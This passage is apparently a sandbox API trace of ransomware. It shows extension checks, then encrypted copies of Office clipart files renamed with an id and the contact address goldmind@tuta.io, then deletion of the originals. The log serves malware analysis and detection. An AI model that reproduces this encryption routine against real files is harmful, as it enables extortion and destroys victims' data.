office\\clipart\\pub60cor\\j0187819.wmf")) returned 1 [0113.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.691] lstrlenW (lpString=".doc") returned 4 [0113.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.691] lstrlenW (lpString=".docx") returned 5 [0113.691] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.691] lstrlenW (lpString=".pdf") returned 4 [0113.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.691] lstrlenW (lpString=".xls") returned 4 [0113.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.691] lstrlenW (lpString=".xlsx") returned 5 [0113.691] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.691] lstrlenW (lpString=".ppt") returned 4 [0113.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.691] lstrlenW (lpString=".zip") returned 4 [0113.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.691] lstrlenW (lpString=".rar") returned 4 [0113.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString=".bz2") returned 4 [0113.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString=".7z") returned 3 [0113.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.692] lstrlenW (lpString=".dbf") returned 4 [0113.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.692] lstrlenW (lpString=".1cd") returned 4 [0113.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.692] lstrlenW (lpString=".jpg") returned 4 [0113.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.692] lstrlenW (lpString=".doc") returned 4 [0113.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString=".docx") returned 5 [0113.692] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.692] lstrlenW (lpString=".pdf") returned 4 [0113.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString=".xls") returned 4 [0113.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.692] lstrlenW (lpString=".xlsx") returned 5 [0113.692] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.692] lstrlenW (lpString=".ppt") returned 4 [0113.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.692] lstrlenW (lpString=".zip") returned 4 [0113.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.692] lstrlenW (lpString=".rar") returned 4 [0113.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString=".bz2") returned 4 [0113.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.692] lstrlenW (lpString=".7z") returned 3 [0113.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.692] lstrlenW (lpString=".dbf") returned 4 [0113.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.693] lstrlenW (lpString=".1cd") returned 4 [0113.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0113.693] lstrlenW (lpString=".jpg") returned 4 [0113.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.693] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.693] lstrlenW (lpString="J0187849.WMF") returned 12 [0113.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.731] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7572) returned 1 [0113.731] CloseHandle (hObject=0x3d0) returned 1 [0113.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf")) returned 0x20 [0113.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.754] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.754] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0113.755] GetLastError () returned 0x0 [0113.755] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1d94, lpOverlapped=0x0) returned 1 [0113.761] WriteFile (in: hFile=0x380, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0113.762] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.762] WriteFile (in: hFile=0x380, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.762] SetEndOfFile (hFile=0x380) returned 1 [0113.762] CloseHandle (hObject=0x380) returned 1 [0113.762] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.762] SetEndOfFile (hFile=0x3d0) returned 1 [0113.764] CloseHandle (hObject=0x3d0) returned 1 [0113.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf")) returned 1 [0113.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.765] lstrlenW (lpString=".doc") returned 4 [0113.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.765] lstrlenW (lpString=".docx") returned 5 [0113.765] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.765] lstrlenW (lpString=".pdf") returned 4 [0113.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.765] lstrlenW (lpString=".xls") returned 4 [0113.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.765] lstrlenW (lpString=".xlsx") returned 5 [0113.765] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.765] lstrlenW (lpString=".ppt") returned 4 [0113.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.765] lstrlenW (lpString=".zip") returned 4 [0113.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.765] lstrlenW (lpString=".rar") returned 4 [0113.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.765] lstrlenW (lpString=".bz2") returned 4 [0113.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.765] lstrlenW (lpString=".7z") returned 3 [0113.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.766] lstrlenW (lpString=".dbf") returned 4 [0113.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.766] lstrlenW (lpString=".1cd") returned 4 [0113.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.766] lstrlenW (lpString=".jpg") returned 4 [0113.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.766] lstrlenW (lpString=".doc") returned 4 [0113.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString=".docx") returned 5 [0113.766] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.766] lstrlenW (lpString=".pdf") returned 4 [0113.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString=".xls") returned 4 [0113.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.766] lstrlenW (lpString=".xlsx") returned 5 [0113.766] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.766] lstrlenW (lpString=".ppt") returned 4 [0113.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.766] lstrlenW (lpString=".zip") returned 4 [0113.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.766] lstrlenW (lpString=".rar") returned 4 [0113.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString=".bz2") returned 4 [0113.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString=".7z") returned 3 [0113.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.766] lstrlenW (lpString=".dbf") returned 4 [0113.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.766] lstrlenW (lpString=".1cd") returned 4 [0113.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0113.766] lstrlenW (lpString=".jpg") returned 4 [0113.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.767] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.767] lstrlenW (lpString="J0187881.WMF") returned 12 [0113.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.767] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4696) returned 1 [0113.767] CloseHandle (hObject=0x3d0) returned 1 [0113.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf")) returned 0x20 [0113.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.768] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.768] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0113.769] GetLastError () returned 0x0 [0113.769] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1258, lpOverlapped=0x0) returned 1 [0113.771] WriteFile (in: hFile=0x380, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1260, lpOverlapped=0x0) returned 1 [0113.772] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.772] WriteFile (in: hFile=0x380, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.772] SetEndOfFile (hFile=0x380) returned 1 [0113.772] CloseHandle (hObject=0x380) returned 1 [0113.772] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.772] SetEndOfFile (hFile=0x3d0) returned 1 [0113.774] CloseHandle (hObject=0x3d0) returned 1 [0113.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf")) returned 1 [0113.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.775] lstrlenW (lpString=".doc") returned 4 [0113.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.775] lstrlenW (lpString=".docx") returned 5 [0113.775] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.775] lstrlenW (lpString=".pdf") returned 4 [0113.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.775] lstrlenW (lpString=".xls") returned 4 [0113.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.775] lstrlenW (lpString=".xlsx") returned 5 [0113.775] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.775] lstrlenW (lpString=".ppt") returned 4 [0113.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.776] lstrlenW (lpString=".zip") returned 4 [0113.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.776] lstrlenW (lpString=".rar") returned 4 [0113.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString=".bz2") returned 4 [0113.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString=".7z") returned 3 [0113.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.776] lstrlenW (lpString=".dbf") returned 4 [0113.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.776] lstrlenW (lpString=".1cd") returned 4 [0113.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.776] lstrlenW (lpString=".jpg") returned 4 [0113.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.776] lstrlenW (lpString=".doc") returned 4 [0113.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString=".docx") returned 5 [0113.776] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.776] lstrlenW (lpString=".pdf") returned 4 [0113.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString=".xls") returned 4 [0113.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.776] lstrlenW (lpString=".xlsx") returned 5 [0113.776] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.776] lstrlenW (lpString=".ppt") returned 4 [0113.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.776] lstrlenW (lpString=".zip") returned 4 [0113.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.776] lstrlenW (lpString=".rar") returned 4 [0113.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString=".bz2") returned 4 [0113.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.776] lstrlenW (lpString=".7z") returned 3 [0113.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.776] lstrlenW (lpString=".dbf") returned 4 [0113.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.777] lstrlenW (lpString=".1cd") returned 4 [0113.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0113.777] lstrlenW (lpString=".jpg") returned 4 [0113.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.777] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.777] lstrlenW (lpString="J0187883.WMF") returned 12 [0113.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.777] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2100) returned 1 [0113.778] CloseHandle (hObject=0x3d0) returned 1 [0113.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf")) returned 0x20 [0113.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.778] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.778] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0113.779] GetLastError () returned 0x0 [0113.779] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x834, lpOverlapped=0x0) returned 1 [0113.781] WriteFile (in: hFile=0x380, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x840, lpOverlapped=0x0) returned 1 [0113.781] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.782] WriteFile (in: hFile=0x380, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.782] SetEndOfFile (hFile=0x380) returned 1 [0113.782] CloseHandle (hObject=0x380) returned 1 [0113.782] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.782] SetEndOfFile (hFile=0x3d0) returned 1 [0113.784] CloseHandle (hObject=0x3d0) returned 1 [0113.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf")) returned 1 [0113.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.785] lstrlenW (lpString=".doc") returned 4 [0113.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.785] lstrlenW (lpString=".docx") returned 5 [0113.785] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0113.785] lstrlenW (lpString=".pdf") returned 4 [0113.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.785] lstrlenW (lpString=".xls") returned 4 [0113.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.785] lstrlenW (lpString=".xlsx") returned 5 [0113.827] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0113.827] lstrlenW 